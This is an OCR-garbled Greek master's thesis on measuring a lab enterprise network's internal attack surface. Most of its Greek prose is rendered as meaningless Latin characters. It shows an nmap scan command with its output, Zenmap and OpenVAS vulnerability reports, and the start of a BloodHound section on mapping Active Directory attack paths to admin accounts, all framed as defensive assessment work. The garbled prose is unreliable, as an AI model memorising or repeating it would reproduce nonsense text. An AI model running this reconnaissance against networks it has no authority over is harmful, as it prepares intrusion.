va guAAéCoupe dedopéva Ta oTToia Ba pag BonBrioouv va KaTaAdBouUpE TTWG UTTOPET
vVa ETTNPEAOTEI TO TTEPIBAAAOV aUTO Kal TTWGS Ba uTTopoUcav va cuvduaoToUV Ol
OIAQOPEG TAKTIKEG-TEXVIKEG KAl dladikaoieg (TTPs - Tactics-Techniques and

Procedures) £101 woTe va 0dNyrnoouv £vav KOKOBOUAO XpoTn o€ €TTiBeon.

TuAua Mnxavikwv MAnpo@opikng Kal YTroAoyioTwy — Metatrtuxiako KuBepvoao@daAeia
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ArTAwuaTIKN epyaacia OEOAQPIAQY MAPIA — AAMMAZ MTEQPTIOZ

2 UYKEVTPWVOVTAG KABE TpwTA onueia Tou TTEPIBAANOVTOG, TTPETTEI VA TA AVAAUCOUE,
va Ta a&IoAOyAOOoUE, Kal 0TO TEAOG va TTpooTTadrnooupe va Ta e¢aleiyoupe. H
d1adIkaoia auTr TTPETTEI VA EKTEAEITAI €ITE Ava TAKTA dIACTAPATA, €iTE OTAV KATTOIO
OTOIXEIO TOU BIKTUOU pag aAAdlel. Movo €101 ptTopei va diatpnOei 1o eTTiTredo

A0@AAEING OTO OTTOI0 £XOUUE PTATEL.

4 Eowrtepikn EmOeTIKA ETIQAvVEIQ

Me Tnv €vvola eOWTEPIKA ETTIOETIKA €TTIPAVEIA VOOUUE TO EUPOG OTO OTTOIO PTTOPEI va
eKTIOETAI Eva BIKTUO O€ ETTIOETIKEG EVEPYEIEG TTOU ITTOPOUV va TTPOKANBOoUV KaBWG
Evag eMTIOEPEVOGS KIVEITAI EXOPIKA EVTOG AUTOU, EKUETOAAEUOPEVOG EUTTADEIEG
AOYIOMIKOU, AavBaouEVEG PUBNIOEIC KAl YEVIKA AAVOAOUEVEG EVEPYEIEG EiTE
SIaXEIPIOTWV EITE XPNOTWYV auToU. Av AoITTOV £va BIiKTUO gival eUTTABEG TOTE £vag
EMTIOEPEVOG OUVATAI VO XPNOIUOTIOINCEI Jid ATTO TIG TEXVIKEG TTAEUPIKWV KIVI|OEWV
Kal va TTapel TTPOOBaCT O€ QVTIKEIMEVA ) UTTNPETiEG TTou €TIBUUEl. MeTpwvTag TNV
EOWTEPIKA €MOETIKA €TIPAvEIa eVOS OIKTUOU, ava TAKTA SI0OTAUOTA, £XOUUE TN
OuVaTOTNTA VO AVAKAAUWOUNE TIG TPWTOTNTEG TOU KAl VA ETTIXEIPHOOUME VA TIG

€EAAXIOTOTTOINOOUE.

5 Aladikaoia YTTOAOYIOHOU ECWTEPIKNC ETTIBETIKAC
ETTIPAVEING

ApPXIKd, Y10 va UTTOAOYICOUUE TNV ECWTEPIKA ETTIBETIKA ETTIQAVEIQ VOGS DIKTUOU,
XPEIafOPaOTE TNV KATaypa® KABE OTOIXEIOU TOU, €iTE AQUTO TTPOKEITAI VIO UAIKO E€iTE
Y1 AOYIOMIKO.

KatoTriv, JEAETWVTAG TO, TTPETTEI VO KATAVONOOUNE TTWG KIvouvTal Ta dedopéva péoa
oTo OikTuo. Mg auTdv Tov TPOTTO Ba evroTTicoupe Ta ayaBd TTou xpifouv TTpoCTATIag
OAAG Kal Ta JOVOTTATIO TTOU €ival eudAwTa o€ €mBEoelg. ETtiong, OAeg ol

OUVOEDEPEVEG CUOKEUEG TTPETTEI VA EAEYXOOUV yIa TPWTOTNTEG KAl aduvapieg o€ OAa

TuAua Mnxavikwv MAnpo@opikng Kal YTroAoyioTwy — Metatrtuxiako KuBepvoao@daAeia
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ArTAwuaTIKN epyaacia OEOAQPIAQY MAPIA — AAMMAZ MTEQPTIOZ

Ta ETTITTEDA. ZEKIVWVTAG aTTO AavBaOUEVES DIKTUOKEG PUBUICEIC Kal TAVOVTAG QKON
Kal o€ E0QAAPEVN XPHon VOGS TTPOCWTTIKOU UTTOAOYIOTH. 'EAEyX0G Ba TTPETTEl va Yivel
OKOUA KAl OTIG TUXOV EQAPUOYEG I0TOU TOU OUYKEKPIMEVOU OIKTUOU. TEAOG Ba TTPETTEI
VO avayVvwpIioOUUE Kal VO KATAYPAWOUNE TN CUPTTEPIPOPA TWV XPNOTWYV, Va

KaBopIoTei 0 OKOTTOG XProNG TOU CUCTAHATOG, KOl VO EQAPPOOTOUV KOAEG TTPOAKTIKEG.

2uvoyicovTag Ba TTPETTEl va TTPAYUATOTTOINOOUUE Ta €ENG:

e ATtroypa@r] dIKTUOU

e ATtroypa@n AoylouIKOU

e EVTOTTIONOG adUVANIWY O€ EAEYKTEG TOMEQ, KOl OE OUOKEUEG DIKTUOU
e EVTOTTIONOG adUVANIWY OE EQAPUOYEG I0TOU

e EVTOTTIONOG aduVaUIWY O€ ETTITTEOO TEPUATIKWV

e JUNTTEPIPOPA XPNOTWYV, TTPOCBIOPICHOS OKOTTOU XPAONG OIKTUOU/TEPUATIKWV

6 [POaKTIKN €QAPPOYI UTTOAOYIOHUOU EOWTEPIKNG
ETTIOETIKAG ETTIPAVEIAC JE XPNON EPYOAAEiWV
avoIXTOU KWAIKA.

2TN CUVEXEIQ ATTOTUTTWVETAI N TTPAKTIKA €QAPPOYH TOU UTTOAOYIOUOU TNG ECWTEPIKNAG
ETTIBETIKNAG ETMIPAVEIAG EVOG DIKTUOU XPNOIKOTTOIWVTAG ATTOKAEIOTIKA EPYOAEIQ
avoIxTou KwoIka. Ta gpyaAcia autd ouvABwS XPNOIKMOTTOIOUVTAI ETTIOETIKA OTTO TIG
KOKKIVEG OUABES AAAG puTTOPOUV KAAAIOTA VO XPNOIKOTTOINBoUV KAl GUUVTIKA OThV
TTEPITITWON TTOU BEAOUNE VO ao@aAicOupE KOAUTEPA TO BIKTUO HaAG,

TTPOCOUOIWVOVTOG KATTOIOU €idOUG £TTIBEONG.

MNa Tnv uhotroinon Tng diadikaoiag auThg, BacioTAKAPE o€ £va TTPOTUTTIO enterprise
OiKTUO, TO oTTOIO TTEPIEXEI dOomain controllers, user / administrator accounts, firewalls,
application servers, file servers, switches, routers, clients, SIKTUOKOUG EKTUTTWTEG
KaBwg Kal JovAdeS adIGAEITTTNG TTAPOXNG NAEKTPIKAG eVEPYEIOG, OAa OuVOEDEUEVQ

oT1o O10diKTUO.

TuAua Mnxavikwv MAnpo@opikng Kal YTroAoyioTwy — Metatrtuxiako KuBepvoao@daAeia
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ArTAwuaTIKN epyaacia OEOAQPIAQY MAPIA — AAMMAZ MTEQPTIOZ

Ta BAPATA TTOU EKTEAECAUE YIA TNV ATTOYPAPNA KAl TOV EVTOTTIONO aduvauiwy TOU

OIKTUOU KQI TWV CUCKEUWYV TOU €XOUV WG £EAG:

6.1 Atroypagr dIKTUOU Kal AOYIOUIKOU

MNa TNV KaTaypa@r) Tou SIKTUOU, TWV CUCKEUWY TOU KAl TOU AOYIOMIKOU KABE
OUOKEUNG XpnoigoTtroioape 1o Zennmap [17]. To Zenmap mTpoOKeITal yia To QIAIKO
OTO XPRoTn YPAa®IKO TTEPIBAAAOV TOU NMap, EPYAAEIO TO OTTOI0 CApPwWVEI TO DIKTUO Kal
avaAoya Je TIG €TTIAOYEG €00O0U TTOU divouEe TTaipvoue TN avtioToixn £€¢0do. To
OikTuo TToU £€eTACoUUE avhkel oTo uttodikTuo 10.0.0.0/24.

‘ETo1 av oTnVv €i0000 TOU Nmap eKTEAECOUWE TNV EVTOAN, nmap -T4 -A -v 10.0.0.0/24 ,
167E QUTO Ba capwaoel To BiKTUO, Ba evToTTiOEl KABE OUVOEDEUEVN CUOKEUN, Jadi JE TO
AEITOUPYIKO TTOU TN oUVOBEUEl KOBWGS Kal TTOAAEC OKOPO XPAOIMES TTANPOPOPIEG OTTWG
QVOIXTEG TTOPTEG, TIPWTOKOAAQ JE TA OTTOIO ETTIKOIVWVOUV WETAEU TOUG KOl UTTNPECIES

0l OTToieG dUVATAI VA TUXOUV EKUETAAAEUONG.

‘Eva HIKPO KOUMATI TWV ATTOTEAEOUATWYV, HETAEU GAAWY, TTEPIEXEI T £EAG:

Initiating SYN Stealth Scan at 12:56
Scanning 57 hosts [1000 ports/host]
Discovered open port 111/tcp on 10.0.0.25
Discovered open port 3389/tcp on 10.0.0.10
Discovered open port 3389/tcp on 10.0.0.20
Discovered open port 3389/tcp on 10.0.0.150
Discovered open port 135/tcp on 10.0.0.20
Discovered open port 135/tcp on 10.0.0.124
Discovered open port 22/tcp on 10.0.0.44
Discovered open port 22/tcp on 10.0.0.43
Discovered open port 135/tcp on 10.0.0.150
Discovered open port 23/tcp on 10.0.0.41
Discovered open port 135/tcp on 10.0.0.10
Discovered open port 23/tcp on 10.0.0.44
Discovered open port 23/tcp on 10.0.0.43
Discovered open port 5900/tcp on 10.0.0.43
Discovered open port 5900/tcp on 10.0.0.44
Discovered open port 23/tcp on 10.0.0.17
Discovered open port 23/tcp on 10.0.0.15
Discovered open port 139/tcp on 10.0.0.20
Discovered open port 139/tcp on 10.0.0.150
Discovered open port 445/tcp on 10.0.0.20
Discovered open port 445/tcp on 10.0.0.150

Eikéva 6 AmroreAéouara Nmap aro diktuo 10.0.0.0/24 — Eugdvian avoixtwy Bupwv
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ArTAwuaTIKN epyaacia OEOAQPIAQY MAPIA — AAMMAZ MTEQPTIOZ

Nmap scan report for 10.0.0.10

Host is up (0.00038s latency).

Not shown: 987 closed ports

PORT STATE SERVICE  VERSION

53/tcp open domain Simple DNS Plus

88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-01-31 18:00:232)
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn  Microsoft Windows netbios-ssn

389/tcp open Idap Microsoft Windows Active Directory LDAP (Domain: s 0cal, Site: Default-First-Site-Name)

445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: NN
464/tcp open kpasswd5?

593/tcp open ncacn_http  Microsoft Windows RPC over HTTP 1.0

636/tcp open tcpwrapped

3268/tcp open Idap Microsoft Windows Active Directory LDAP (Domain: Il |ocal, Site: Default-First-Site-Name)

3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services

| ssl-cert: Subject: commonName . o

| Issuer: commonName =/ ———|ocal
| Public Key type: rsa -

| Public Key bits: 2048

| Signature Algorithm: sha256WithRSAEncryption

| Not valid before: 2021-11-02T00:30:12

| Not valid after: 2022-05-04T00:30:12

| MD5: 220e 3991 1d26 38d5 3068 1elf 6635 1c66

| _SHA-1: f37a beba d7bb fdad 0c42 529a 2c8c 41d8 94f7 1328

| _ssl-date: 2022-01-31718:06:45+00:00; -1s from scanner time.
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP)
| _http-server-header: Microsoft-HTTPAPI/2.0

| _http-title: Service Unavailable

MAC Address: 00:15:5D:84:6E:03 (Microsoft)

Device type: general purpose

Running: Microsoft Windows 2016

0S CPE: cpe:/o:microsoft:windows_server_2016

0S details: Microsoft Windows Server 2016 build 10586 - 14393
Uptime guess: 2.722 days (since Fri Jan 28 19:47:15 2022)

Network Distance: 1 hop

TCP Sequence Prediction: Difficulty=261 (Good luck!)

IP ID Sequence Generation: Incremental

Service Info: Host: poseidonas; OS: Windows; CPE: cpe:/o:microsoft:windows

Eikova 7 Zuvéxeia amoreAeaudrwy tou Nmap oro diktuo 10.0.0.0/24. Atmrapibuion domain controller.
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ArTAwuaTIKN epyaacia OEOAQPIAQY MAPIA — AAMMAZ MTEQPTIOZ

Host script results:

| _clock-skew: mean: 1h15m20s, deviation: 2h30m41s, median: Os

| nbstat: NetBIOS name: Il NetBIOS user: &It;unknown&gt;, NetBIOS MAC: 00:15:5d:84:6e:03 (Microsoft)
| Names:

| | £ |t;00&.gt; Flags: &It;unique&gt;&lt;active&gt;

| I t; 1c8gt; Flags: &lt;group&gt;&It;active&gt;

| I 8 t;008¢t; Flags: &It;group&gt;&It;active&gt;

| O 2.It;208¢gt; Flags: &lt;unique&gt;&lt;active&egt;

|_ At 1b&gt; Flags: &lt;unique&gt;&lt;active&gt;

| smb-os-discovery:

| 0OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: [

| NetBIOS computer name: IS\ x00

| Domain name: NENCGE_—_—_—_——G|

| Forest name: H————- |

| FQDN: /N - |

| _ System time: 2022-01-31T13:05:04-05:00

| smhb-security-mode:
| account_used: &It;blank&gt;

| authentication_level: user

| challenge_response: supported

| _ message_signing: required

| smb2-security-mode:

| 2.02:

| _  Message signing enabled and required
| smb2-time:

| date: 2022-01-31T18:04:42

| _ start_date: 2022-01-29T00:47:30
TRACEROUTE

HOP RTT ADDRESS

1 0.38 ms 10.0.0.10

Eikéva 8 Suvéxeia ammoteAsaudrwy rou Nmap oro diktuo 10.0.0.0/24. Amrapibuion Asitoupyikou Windows Server
2016

MapdAAnAa Tpape atreikovion TnNG TOTToAOYiIag Tou OIKTUOU Padi e TTOAU XPrOIUES
TTANPOPOPIES YIA TIC CUOKEUEG TOU, AAAG KaI TO AOYIOUIKO TO OTTOIO Eival

EYKOTEOTNUEVO O€ QUTEG, OTTWG QaiveTal oTnv Eikéva 9.

TuAua Mnxavikwv MAnpo@opikng Kal YTroAoyioTwy — Metatrtuxiako KuBepvoao@daAeia
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ArTAwuaTIKN epyaacia

OEOAQPIAQY MAPIA — AATITAZ TEQPTIOZ

Scan Tools Profile Help

Target: | 10.0.0.0/24

Command:

Hosts.

Service
afp

d-star

daap

dnp

domain
EtherNetlP-1
ftp

http
http-mgmt
http-proxy
https

ipp

jetdirect
kerberos-sec
kpasswds
Idap

microsoft-ds

ms-wht-server

memq
msrpc

ncacn_hetp
netbios-ssn

nfs

Filter Hosts

nmap -T4 -A -v 10.0.0.0/24

Services

Hosts Viewer | Fisheye || Controls

Nmap Output Ports / Hosts Tapology Host Details Scans

= Topology Legend -
Hosts.
o host was not port scanned
@ host with fewer than 3 open ports
Q host with 3 to & open ports
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Legend | Save Graphic

Eikova 9 TormmoAoyia AikToou

MapatnpouUue OTI UTTOAOYIOTEG TTOU €XOUV TTEPICOOTEPES ATTO 6 TTOPTEG AVOIXTES Kl

OUVETTWG ATTOTEAOUV AVTIKEIPMEVO TTPOCOXNG, AVATTAPIOTWVTAI JE KOKKIVO Xpwuad. Tnv

010 OTIYUN TEPHUATIKA TTOU ATTOTEAOUV AAAEG CUOKEUEG TOU DIKTUOU, OTTWG

OpouoAoYNTEG 1 TEIXOC TTPOCTACIAC, AvVATIAPIOTWVTAI UE TTPOCBETN TTANPOPOpIa Kal

gexwpiCouv atrd Ta UTTOAOITTA TEPUATIKA.

2UVETTWG, N TTPOCOXNA MOG TTPETTEI VA ETTIKEVTPWOEI TTAVW O€ AUTEG TIGC CUOKEUEG.

Etriong ytmopouue va Tagivouricoupe Ta atTOTEAETUATA ava UTTNPECIa Kal va

EVTOTTIOOUE, VIO TTAPADEIYUA, O€ TTOIA TEPUATIKA UTTOPOUUE va ouvdeBoUpE

QTTOMAKPUOUEVA KAl CUVETTWG VA TTPOCTTAOACOUNE VO EKPMETAAAEUTOUNE UTTNPETIEG

QTTONOKPUOUEVNG ouvedpiag (Eikéva 10) .
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ArTAwuaTIKN epyaacia OEOAQPIAQY MAPIA — AAMMAZ MTEQPTIOZ

= Zenmap

Scan  Tools Profile Help
Target: | 10.0.0.0/24 ~ | Profile: | Intense scan

Cemmand: | nmap -T4 -A -v 10.0.0.0/24

Hosts Nmap Output Ports / Hosts Topology Host Details Scans

Service a A 1 Hostname 4 Port 4 Protocol 4 State 4 Version

Idap @ 100033 2 tcp open  Open55H 7.2p2 Ubuntu 4ubuntu2.g (Ubuntu Linux; protecol 2.0)
microsoft-ds @ 100043 2 tep open  OpenSSH 7.4 (protocel 2.0)

me-wht-server @ 100044 22 tep open  OpenSSH 7.4 (protocol 2.0)

msmq @ 100080 22 tcp open  Open55H 7.6p1 Ubuntu dubuntul.3 (Ubuntu Linux; protecol 2.0)
msrpe @ 100061 22 tcp open  Open55H 7.6p1 Ubuntu dubuntu0.3 (Ubuntu Linux; protecol 2.0)
neacn_hitp @® 1000135 2 tep open  OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
netbios-ssn

nfs

printer

realserver

rpcbind

nimen

scotty-ft

snet-sensor-mgmt
EN

svrloc

tcpwrapped

telnet

upnp

vmrdp

vmware-auth

vne

x510

Filter Hosts

Eikova 10 Taéivounon AmoreAsoudrwy ava utrnpeoia

[MAonyoupevol péoa oTa amoTEAEOUATA TNG OAPWONG TOU JIKTUOU KaTaAaBaivoupe
TT010i €ival o1 TTIBavoi oTOXO! KAl €71 ATTOKTOUNE Hid TTPWTN YEVIKI EIKOVA TWV

€UTTABEIWV TOU.

6.2 EvVTOTTIONOC adUVAUIWV/EUTTABEIWV OE EAEYKTEC TOMEQ, KAl
O€ OUOKEUEG OIKTUOU - OpenVas

MNa va evrotmoTouv Kal va agloAoynBouv ol yvwoTEC aduvapieg SIKTUwYV
(vulnerabilities), epappoywv Kal UTTOAOYIOTWY, TTPETTEI VA XPNOIUOTToINGE Eva
TTPOYPOAUMUA-CAPWTHG, OXEDIOOUEVO EIBIKA VIO AUTOV TOV OKOTTO. AUTO TTPETTEI vVa €ival
ATTOPAITATWG TTAAPWG EVNUEPWHEVO YIA VO AVOKOAUWE! OKOPA KAl TIG TEAEUTAIEG
0dUVANIEG.
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ArTAwuaTIKN epyaacia OEOAQPIAOY MAPIA — AAMMNAZ FEQPIIOZ

MNa autd Tov oKoTTO XpnoluyoTroidnke To OpenVas [18], eTriong epyaAgio avoixTou
KWOIKA. Mg TOV OUYKEKPIPNEVO CAPWTH €XOUME Th duUVATOTNTA VA CAPWOOUE
OAOKANPO TO DIKTUO | CUYKEKPIPEVA OTOIXEIO TOU, VA TTAPOUUE AVAAUTIKEG AVOPOPES
yla TNV KATACTAOT) TOUG (EiTE O€ LEXWPIOTA ApXEIQ TTPOG TTEPAITEPW PEAETN, EiTE
QVOTTAPIOTWVTAG TA YPAPIKA Kal S1adpacTIKA HECA ATTO TO yYpa@IKO TTEPIBAAAOV TOU
TTPOYPAUMUATOG) KABWG KAl 0dNYIES YIO TNV AVTIMETWTTION TUXOV aduvauiwy. Epoocov
QVTIMETWTTIOOUUE €V PEPEI ‘N KAl €' OAOKANPOU AUTEG TIG AdUVAUIEG TOTE ITTOPOUNE VA
Eavaoapwaooupe To BIKTUO (] EEXWPIOTA KATTOIO OTOIXEIO TOU) KAl TO TTPOYPAUMA va
MOG EVNUEPWOEL YIA TN VEA KATAOTAON TOU OAAG KaI VO TN OUYKPIVEI JE TNV
TTponyoupevn. MTTopouue €TTIONG VA OPAdOTIOINCOUNE TIG EUTTABEIEG TTOU €XOUV

avOKaAuQOEi Kal va TTpOCTTO8rC0UE va TIG ETTIAUCOUNE JACIKA.

2710 OIiKTUO TTOU UAOTTOINCOUE AUTH TN 0dpwaon, ava@épBnkav 153 TpwTdTNTES

OIAQOPETIKAG BapuTnTaG, OTTWGS QaiveTal oTnv Eikéva 11

*«t‘ gecur'rty MI:lager &

| I
1-100f 153>

Name Oldest Result Newest Result Severity ¥ QoD Results  Hosts
MortBay / Eclipse Jetty End of Life (EOL) Detection - Windows Tue, Mar 8, 2022 6:45 PM EST Tue, Mar 8, 2022 7:21 PM EST 4
OpenSSL End of Life (EOL) De! Tue, Mar 8, 2022 5:55 PM EST Mon, Mar 14, 2022 12:02 PM EDT 1
Re ated f ment (loca Thu, Mar 24, 2022 12:41 PM EDT Thu, Mar 24, 2022 12:41 PM EDT 1

Tue, Mar 8, 2022 6:50 PM EST Tue, Mar 8, 2022 7:31 PM EST 4

Tue, Mar 8, 2022 5:53 PM EST Mon, Mar 14, 2022 12:00 PM EDT | 5.8 (mign) | 1

Tue, Mar 8, 2022 5:53 PM EST Mon, Mar 14, 2022 12:00 PM EDT [ 0.8 (nigh) | 1
Apache HTTP Server 2.4.32 < 2.4.44 mod_proxy_uwsgi Buffer Overflow Vulnerability (Windows Tue, Mar 8, 2022 5:53 PM EST Mon, Mar 14, 2022 12:00 PM EDT 80 % 1
Netatalk < 3.1.12 Arbitrary Code Exec Tue, Mar 8, 2022 6:04 PM EST Tue, Mar 8, 2022 6:04 PM EST 99 % 1 1
Apache HTTP Server < 2.4.4% Multiple Tue, Mar 8, 2022 5:53 PM EST Mon, Mar 14, 2022 12:00 PM EDT 80 % 1
Apache HTTP Server Memory Access Vulnera Tue, Mar 8, 2022 5:53 PM EST Mon, Mar 14, 2022 12:00 PM EDT 80 % 1

Apply to page contents ¥ | [(*

1-100f 153>

Eikéva 11 EutrdBeieg OIKTUOU Kal OTOIXEIWV TOU

KatdTmiv, a@ou emAUCAPE JEPIKEG EUTTADEIEG, CAPWOAUE €K VEOU OUYKEKPIPEVO

UTTOAOYIOTH], YIO VO JTTOPECOUNE VO KPIVOUUE TRV TTOpEia TNG d1adiKaoiag Kal
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TTAPATNPEACAUE OTI KATERNKE O BEIKTNG KPICINOTNTAG TNG EUTTABEING TOU, OTTWG

@aiveTal Kal oTnV Eikéva 12.

e | hips//10.0.0.133

[GANL Filter oXO@H| - v
1 5/ Tasks 10 of 10 oo
Tasks by Severity Class (Total: 10) Tasks with most High Results per Host Tasks by Status (Total: 10)
ai I -
High o Running
b er 02 03 o4 6 03 08 05 10
[——
=] 1-100f10
Name & Status Reports Last Report Severity Trend Actions
Adis T 1 Mon, Mar 14, 2022 12:22 PM EDT eciurn) | PO ee
avc [ oo ] 2 Tue, Mar 15, 2022 12:57 PM EOT T PI-mE Qe
e E pr——— 3 Mon, Mar 14, 2022 2:45 PM EOT aturn) | — D OE Qe
Epikouros oo ] < Tue, Mer 15, 2022 6:39 BM EDT o) | - T Re
Fileserver oo ] 3 Wed, Mar 16, 2022 7:35 PM EDT o) | - g =N
Plato o] 2 Men, Mar 14, 2022 2:47 PM EDT tirn) | ~ PITERe
Stellakatos -T2 e 4, 2022 12:35 M EDT [ is0 (o) ] ] ER=l
Sympan T 1 Mon, Mar 14, 2022 1:44 PM EDT i) | [ =1rid
Test Scan [ oo 1 Tue, . 2022 1:27 PM EST [ 0000w | g =]
wsus 3 Thu, Mar 17, 2023 4:19 PM EDT [_ovsom | - BlmEQr
T p— 1
Aeslied Tiker: apsly avemides=0 in god=70 seri=name frst=1 rons=10 1-100F10

Eikéva 12 EmiAuon eurdBeiag kai adpwaon &K véou

H diadikaagia eTTiAUCNG TWV TPWTOTATWY TTPOTEIVETAI KAl £ENYEITAI AVAAUTIKG ATTO TO

i010 TO TTPOYPANMA OTTWG QaiveTal OTIG Eikéva 13 Kal Eikéva 14.

e | hitps//10.0.0.133

Report:Mon, Mar 14, 2022 2:45 PM EDT mar——wmm ID: 61204(62-78c0-4005-9205-2 1089 3a31e3  Created: Mon, Mar 14, 2022 2:46 PM EOT ofied: Mon, Mar 14, 2022 3:13PMEDT  Qwner: webadmmin

Information Results Hosts Ports Applications Operating Systems CVEs Clesed CVEs TLS Certificates  Error Messages User Tags
(2er50) |_(1or1) | (dofis) (gorg aoray (@ oro; (7or7) (1 or 1) @org @

1-20f2
Host
Vulnerability M severity v QoD Location Created
b Name
DCE/RPC and MSRPC Services Enumerstion Reperting 5 o) | 80%  10.0.0.20 aris.thalassa.local 135/tcp Men, Mar 14, 2022 2:58 PM EDT
TCP Emestamps & IR 80% 10.0.0.20 aris thalassalezal general/ecp Mo, Mar 14, 2022 2:58 PM EDT
Applied filter: apply overrides=0 levels=hrrl rows=100 min god=70 first=1 sort-reverse=severity 1-20f2

Eikéva 13 TpwrdTNTES TTOU APOPOUV CUYKEKPIUEVO UTTOAOYIOTH
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Port: 4973e/tcp

WID: 367abb81-9844-35f1-ad32-98fe38001003, version 2
Endpoint: ncacn_ip_tcp:18.8.08.28[4973e]

Port: 49732/tcp

UUID: 897e2e5f-93F3-4376-9¢9¢-Fd2277495¢27, version 1
Endpoint: ncacn_ip_tcp:18.e.9.208[49742]
Annotaticon: Frs2 Service

Port: 60197/tcp

UUID: 52abc2a4-574d-42b3-9d66-ee4fd5fbad7s, version S
Endpoint: ncacn_ip_tcp:12.e.8.20[62137]

Named pipe : dnsserver

Win32 service or process : dns.exe

Description : DNS Server

Note: DCE/RPC or MSRPC services running on this host locally were identified. Reporting this list is not enabled
list. See the script preferences to enable this reporting.

Detection Method

Details: DCE/RPC and MSRPC Services Enumeration Reporting OID: 1.3.6.1.4.1.25623.1.0.10736
Version used: 2017-06-13T07:06:12Z
Impact

An attacker may use this fact to gain more knowledge
about the remote host.

Solution

Solution Type: 5 Mitigation
Filter incoming traffic to this ports.

| 2.6 (low) EEEGIAEEET

i

TCP timestamps

Eikéva 14 AvdAuon tpwrdtnrag kai d1adikaadia emiAucns g

210 T€AOG TNG diadikaoiag odpwang Tou BIKTUOU, OTTWG TTPOAVAPEPONKE, UTTOPOUNE

va eEAYOUNE TO ATTOTEAECHOTA O€ APXEIQ AVAPOPWY, TTPOG TTEPAITEPW HEAETN.
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6.3 MeAETn dIKTUOU, KATAVONON PETAKIVNONG DEDOUEVWY,
EVTOTTIONOG JOVOTTATIWY ETTIOEONC.

Av KOITAEOUPE aVaAUTIKOTEPO TA ATTOTEAEOUATA TG 0APWONG TOU BIKTUOU Ba doupe
OTI METAEU AAAWV €XEI EVTOTTIOTE £vag uwnAouU eviIaQEPOVTOG EAEYKTAG TOUEQ
(domain controller). ETrépevo BrApa pag gival va avaAUOOUE Ta EUPHPATA Yag TTEPI
TOU €AEYKTI) TOMEQ, VA EVTOTTIOOUUE TOUG XPNOTEG, TA CUVOEDEPEVA TEPUATIKA, KAl
YEVIKA VA aVOKAAUWOUUE OAEG TIG OXECEIG KAI TA JOVOTTATIA dIaKivNONG TTANPoQopiag
MECQ TOU KOBWG Kal oTTolouadnTToTE AAAOUG KAVOVES aG gival XPHOIKOI.

O ATTwTePOG 0TOXOG MaG gival:

e Na ekpaieuooupe OAoUG Toug AoyaplacuouUs Tou SIaXEIPIOTH) TOPEQ

e Na oToxeuooupe o€ Aoyapiaopoug e augnuéva rpovouia (domain admins /
remote desktop users etc)

e Na eVTOTTIOOUUE QVOIXTEG CUVEDPIEC XPNOTWYV UYNAOU EVOIQPEPOVTOG

e Na avakaAUWouue TNV TTONITIKI) KwOIKWY TOU OIAXEIPIOTH) TOPEQ

e Na avakaAUuyoupue eVOAAOKTIKEG DIAdPOUES TTOU Ba Jag 0dnyrioouv O0TO OTOXO

bag

lNa va uhotroijooupe auto 1o Bripa Ba xpnoiyotroijooupe 1o Bloodhound [19]. To
Bloodhound civai éva epyaAeio avaAuong dedouévwy TTOU XPNOIKOTIOIE TN Bewpia
YPAPNUATWY YIa VA aVOKOAUWEI KPUUPEVEG OXEOEIG EVTOG TNG UTTNPECIAG KATAAOYOU
(Active Directory) evog eAeykTr Topéa (domain controller). Me autdv Tov TpOTTO
MTTOPOUE VA EVTOTTIOOUME EUKOAQ ETTIBETIKG JOVOTTATIA UYNANG TTOAUTTAOKOTNTAG

KaBw¢ Kal OXETEIC HETAEU XPNOTWV PE dIKalwuaTa SIaXEIPIOTH.

AvalnTwvTag TETola ETTIOETIKA JOVOTTATIA, OEV £XOUNE TTAPA VO WALOUUE Yia
SIKAIWMATA XPNOTWV OTIG UTTNPETieG KaTaAdyou (Active Directory Control List -
ADCL) ka1 oTov €Aeyxo TTpooaong (Access Control Entries - ACE) 1TTou €xouv autd
Ta didpopa avTikeipeva. Ta avTiKEipeva evog Topéa atrd yova Toug BewpouvTal
ao@aAr] aAAG Ta ADCL/ACE cival autd TTou KaBopiouv Ti EVEPYEIEG UTTOPEI va

ekTeEAEOEl KaBEva atrd auTd. lMNa TTapddeiyua KATToIa aTTO AUTA TA AVTIKEIUEVA
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OEOAQPIAQY MAPIA — AATITAZ TEQPTIOZ

MTTOPOUV vVa £X0UV IKaVA dIKaIWUATA £TOI WOTE VA JTTOPOUV va aAAdlouv Gvoua

XPAOTN, KWOIKO A0PAAEIQG KATT.

21NV Eikéva 15 BAETTOUNE éva TTAPAdEIyPa DIKAIWPATWY (ACE) yia TOUG dIaXEIPIOTEG

(e]Ve

Permission Entry for Admins

Principal: ~ SYSTEM  Select a principal
Type: Allow

Appliesto: | This object only

Permissions:
[A Full control
List contents
Read all properties
[ Write all properties
[ Delete
[¥] Delete subtree
[ Read permissions
[ Modify permissions
[ Medify owner
[ &l validated writes
[ All extended rights
Create all child objects
Delete all child objects
Create account objects
Delete account objects
Create applicationVersion objects
Delete applicationVersion objects
Create Computer objects
Delete Computer objects
Create Contact objects
Delete Contact objects
Create document objects
Delete document ohjects
Create documnentSeries objects
Delete documentSeries objects
Create Group objects
Delete Group objects
Create groupOfUniqueMames objects
Delete groupOfUniqueMames objects
[#] Create groupPolicyContainer objects
Delete groupPolicyContainer objects
Create InetOrgPerson objects
Delete InetOrgPerson objects
Create IntelliMirror Group objects
Delete IntelliMirror Group objects

— . -

Delete msDS-App-Configuration ohjects

Create msD5-AppData objects

Delete msDS-AppData objects

Create msD5-AzAdminManager objects

Delete msD5S-AzAdminManager chjects

Create msD5-GroupManagedServiceAccount objects
Delete msDS-GroupManagedServiceAccount objects
Create msD5-ManagedServicefccount objects
Delete msDS-ManagedServiceAiccount objects
Create msD5-ShadowPrincipal Container objects
Delete msD5-5hadowPrincipalContainer objects
Create msieeed0211-Policy objects

Delete msieee80211-Policy objects

Create msimaging-P5Ps ohjects

Delete msimaging-P5Ps objects

Create MSMQ Group objects

Delete MSMQ Group objects

Create MSMQ Queue Alias objects

Delete MSMQ Queue Alias objects

Create msPKI-Key-Recovery-Agent objects
Delete msPKI-Key-Recovery-Agent objects
Create msTAPI-RtConference objects

Delete msTAPI-RtConference objects

Create msTAPI-RtPerson objects

Delete msTAPI-RtPerson objects

Create nisMap objects

Delete nisMap objects

Create nisMetgroup objects

Delete nisMetgroup objects

Create nisObject objects

Delete nisObject objects

